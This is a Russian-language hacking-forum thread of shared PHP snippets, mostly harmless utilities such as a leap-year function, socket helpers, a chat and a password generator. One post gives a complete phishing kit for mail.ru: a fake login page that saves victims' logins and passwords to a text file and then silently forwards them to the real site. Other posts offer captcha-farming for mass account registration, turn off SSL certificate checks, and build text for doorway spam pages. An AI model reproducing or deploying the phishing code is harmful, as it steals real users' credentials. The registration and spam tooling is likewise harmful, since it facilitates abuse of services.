Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    у тебя доступ к нему естЬ?
     
  2. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет...
    На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно ))

    Code:
    CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$
    my $year = shift;
    if($year%100 == 0)
    {
            if($year%400 == 0)
            {
                    return 1
            }
            else
            {
                    return 0
            }
    } else {
            if($year%4 == 0)
            {
                    return 1
            }
            else
            {
                    return 0
            }
    }
    $$ LANGUAGE plperl;
    
    
    Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать...

    PS: Поправил на более читаемый вариант и без хаков с sprintf()
     
    #522 biophreak, 19 Dec 2008
    Last edited: 25 Dec 2008
  3. kik8888

    kik8888 Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    45
    Likes Received:
    6
    Reputations:
    -4
    Задание для ROA

    Задание для ROA
    PHP:
    <?
    set_time_limit(0);

    //функция для PHP-сокетов, после которой работа ведется аналогично fsockopen()
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    //для работы требуются включенные сокеты
    function socks4_open($server,$port,&$errno,&$errstr){
      if(!(
    $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
        
    $errno=socket_last_error();
        
    $errstr=socket_strerror($errno);
        return 
    false;
      } else return 
    $socket;
    }

    //функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port)
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    //для работы требуются включенные сокеты
    function socket_otvet($server,$port,$q,&$errno,&$errstr){
      if(!(
    $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
        
    $errno=socket_last_error();
        
    $errstr=socket_strerror($errno);
        return 
    false;
      } else {
        
    socket_write($socket,$q,strlen($q));
        while(
    $otvet=socket_read($socket,1024)){
          
    $otv.=$otvet;
        }
        
    socket_close($socket);
        return 
    $otv;
      }
    }

    //функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port)
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    function fsock_otvet($server,$port,$q,&$errno,&$errstr){
      if(!(
    $fp=fsockopen($server,$port,$errno,$errstr,30))){
        return 
    false;
      } else {
        
    fputs($fp,$q);
        while(!
    feof($fp)){
          
    $otv.=fgets($fp,1024);
        }
        
    fclose($fp);
        return 
    $otv;
      }
    }

    //пример запроса
    $q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";

    //пример работы socks4_open()
    $sock=socks4_open("mail.ru",80,$errno,$errstr);
      if(!
    $sock){
        echo 
    "$errstr ($errno)<br>\n";
      } else {
        
    socket_write($sock,$q,strlen($q));
        while(
    $otvet=socket_read($sock,1024)){
          
    $otv.=$otvet;
        }
      }
    socket_close($sock);
    echo 
    $otv;

    //пример работы socket_otvet()
    if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";

    //пример работы fsock_otvet()
    if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
    ?>
     
  4. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    моментальный поиск по сортированному массиву структур

    Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

    Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
    Исходник: http://vkorostene.com.ua/search/source.rar

    Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
     
  5. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Суть была в индексах
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Функция Whois доменов по сектору .ru

    PHP:
    <?
    Function 
    whois($domen)
    {
    $result file('http://ip-whois.net/whois.php?whois='.$domen);
    if (
    preg_match('/match/',$result[70])) echo 'Not registered';
    else for (
    $i=52;$i<=64;$i++) echo $result[$i];
    }
    /*Пример вызова*/
    whois('forum.antichat.ru');
    ?>
     
  7. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Даже не в них. А в самостоятельной реализации такого поиска.
    Представим, что файл весит 20гб...
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Скелет фейка на mail.ru

    2 файла:

    1. login.php (или хотите назовите его login.html)

    PHP:
    <html
    <
    head
    <
    title></title
    </
    head
    <
    bоdу
    <
    div align="center"
    <
    form method="post" action='mail.ru.php'
    <
    table
    <
    tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr
    <
    tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr
    </
    table
    <
    input type="submit" name="submit" value="ok" /> 
    </
    form
    </
    div
    </
    bоdу
    </
    html>
    2. mail.ru.php

    PHP:
    <?php 
    $log
    =$_POST['login'];
    $pass=$_POST['pass'];
    if (empty(
    $log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
    $file "mails.txt"
    $f fopen($file"a"); 
    fwrite($f"$log;$pass \r\n"); 
    fclose($f); 
    ?>

    <html> 
    <head> 
    </head> 
    <body> 
    <form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' > 
    <input type="hidden" name='Login' value=<?php echo $log;?>
    <input  type="hidden" name="Password"  value=<?php echo $pass;?>>
    <input type='hidden' name='Domain' value='mail.ru'>
    </form> 
    <script language='javascript'> 
    document.mail.submit();
    </script> 
    </body> 
    </html>
     
    #528 Pashkela, 22 Dec 2008
    Last edited: 22 Dec 2008
  9. Exlibris

    Exlibris Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    359
    Likes Received:
    394
    Reputations:
    27
    делать было нех написал 2 простеньких скрипта :D
    чат (2 файла)
    guest.php
    PHP:
    <html>
    <body>
    <form action="guest.php" method="post" name="text" terget="_top">
    <input type="text" align="top" name="text">
    <input type="submit" value="чик">
    <a href="unlink.php">clear</a>
    </body>
    </html>
    <?php
    $tmp_file 
    "tmp.txt";
    $time date("d:m:y::H:i:s");
    $msg $_POST['text'];

    if(!
    file_exists($tmp_file))
    {
        echo 
    "файл истории недоступен";
    }
    else
    {
        
    $file fopen($tmp_file,"a+");
        echo 
    $msg;
        
    fwrite($file,$time." ".$msg."\n");
        
    $s file($tmp_file);
        foreach (
    $s as $k => $v)
        {
            
    $i++;
            if(
    $i == 0)
            {
                echo 
    "<table align='center' width='50%'>";
                echo 
    "<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
            }
            else
            {
                echo 
    "<table align='center' width='50%'>";
                echo 
    "<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
                
            }
        }    
    }
    fclose($file);
    ?>
    unlink.php
    PHP:
    <?php
    $file 
    "tmp.txt";
    unlink($file);
    fopen($file,"a+");
    header("location:http://127.0.0.1/code/guest.php");
    fclose($file);
    ?>
    --
    генератор паролей
    PHP:
    <html>
    <form action="pass_gen.php" name="len" method="post">
    Длина пароля: <input type="text" name="len">
    <input type="submit" value="go">
    </html>

    <?php
    //символы
    $a     "abcdefghijklmnopqrstuvwxyz";
    $b     strtoupper($a);
    $n     "0123456789";
    $s     "!@#$%^&*()[]";
    $all   $a.$b.$n.$s;

    $lenght $_POST['len'];//длина пароля
    echo "=".$lenght."<br>";
    $radio $_POST['rad'];//вид пасса
    echo $radio;
    $count strlen($all);

    if(
    $lenght<=8)
    {
        
    $pass '';
        for(
    $i=0;$i<$lenght;$i++)
        {
            
    $pass .= substr($allrand(1,$count),1);
        }
        echo 
    "pass:  ".$pass;
    }
    else 
    {
        echo 
    "парель не должен привышать 8 символов";
    }
    ?>
     
    9 people like this.
  10. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    есть у кого-то реггер сайтов на народе?
     
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    там капча во время реги
     
  12. Inviseble_Demon

    Inviseble_Demon New Member

    Joined:
    21 Dec 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    У меня есть скриптец которы ну не распознает капчу, а отправляет её на сайт там её люди распознают (в принцепи быстро 3-5 сек !).

    Если каму надо могу выложить с мануалом !
    Для любой реги подойдет.

    На счет реги на народе помойму тема старая !
    Но если ещё актуально то могу написать.
     
  13. Inviseble_Demon

    Inviseble_Demon New Member

    Joined:
    21 Dec 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    И вобще если комунить нужен регер на каком либо сайте стучите !
    1 условие чтобы на сайте не использовалить сертифекаты !
    А все остальное без проблем.
     
  14. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    ну как на мыле ру вывоодтся на странице много капч и вводишь их
     
    1 person likes this.
  15. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
     
  16. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    Задание из ROA
    Code:
    Заливка avi/mov/mpg файлов на сервер и их проигрывание во флеш-плеере.
    
    Если конечно я его правильно понял:)
    [Интсрументы]
    • Прямые руки
    • ffmpeg-php
    • Denwer

    [Подготовка рабочей среды]

    Ну для начала надо поствить Denwer.
    Думаю тут вопросов возникнуть не должно.

    Как ставить ffmpeg-php смотрим тут
    http://forum.drupal.ru/node/16257
    Ищем обзац
    Code:
    Установка ffmpeg на денвер
    
    и читаем,отсальное нам нах не нужно.
    Если вы будете юзать денвер,то
    измените строчку в php.ini
    Code:
    upload_max_filesize = 2M
    
    и меняем её на
    Code:
    upload_max_filesize = 800M
    
    А вообще значении upload_max_filesize может быть другим,это уж вам как захочется.

    [Теория]

    Для реализации такой задачи я использовал jQuery и плагин к нему jQuery Form
    и самы простенький flv плеер - jw flv player(всё это найдёте в архиве)
    Для просмотра видео нам сначала надо перевести его в формат .flv
    для этого нам и понадобится ffmpeg-php
    Вроде всё просто.

    [Установка]

    Качаем архив,распаковываем,
    заливаем на сервер.
    На все папки ставим чмод - 777
    Так же в скрипте не забывем менять путь до вашего ffmpeg-php модуля.

    [Скачать]

    slil.ru

    P.S Получилась как бы мини-статейка
    P.S Вроде всё внятно разжувал
     
    #536 Shadow_p1raT, 23 Dec 2008
    Last edited: 25 Dec 2008
    3 people like this.
  17. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    [Инструменты]
    LAMP (Debian Linux + Apache2 + MySQL + PHP 5)
    Geany
    [Описание]
    В файле lib.php располагаются два класса. 1-й обрабатывает массив данных и приводит его к необходимому виду. 2-й класс, который отвечает за создание диаграммы на основе поступивших данных. Для создания круговой диаграммы заюзал старый заезженный метод, который для разных сред много раз описывался.
    [Оправдания]
    "...мапэд не мой...". Задание не мое, просто сделал для разминки, т.к. отдельное мне так и не дали. Работать с БД умышленно отказался, чтобы у тех, кто скачает не было необходимости в лишних телодвижениях для тестирования. Разбил на два класса, чтобы уменьшить зависимость компонентов.

    CКАЧАТЬ http://slil.ru/26484386
     
    #537 ss88, 24 Dec 2008
    Last edited: 26 Dec 2008
    2 people like this.
  18. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.
     
  19. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    маленький скрипт для создания N-ого количества текстовых файлов с заданным объемом текста в килобайтах, из большого числа других, с рандомизацией выборки.
    [для чего?]
    я писал скрипт для себя и решил выложить может кому нибудь пригодится.
    очень быстро можно сделать например 10 файлов по мегабайту и в каждом файле будет текст из рандомной выборки по другим файлам.
    юзаю для подготовки текстов для доров
    скачать можно тут
    еще необходимо сделать две папки рядом со скриптом
    папка texts(исходные тексты) и result(куда будут складываться собранные тексты)
    права 0777
     
  20. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Доделаю
     
    #540 ss88, 25 Dec 2008
    Last edited: 26 Dec 2008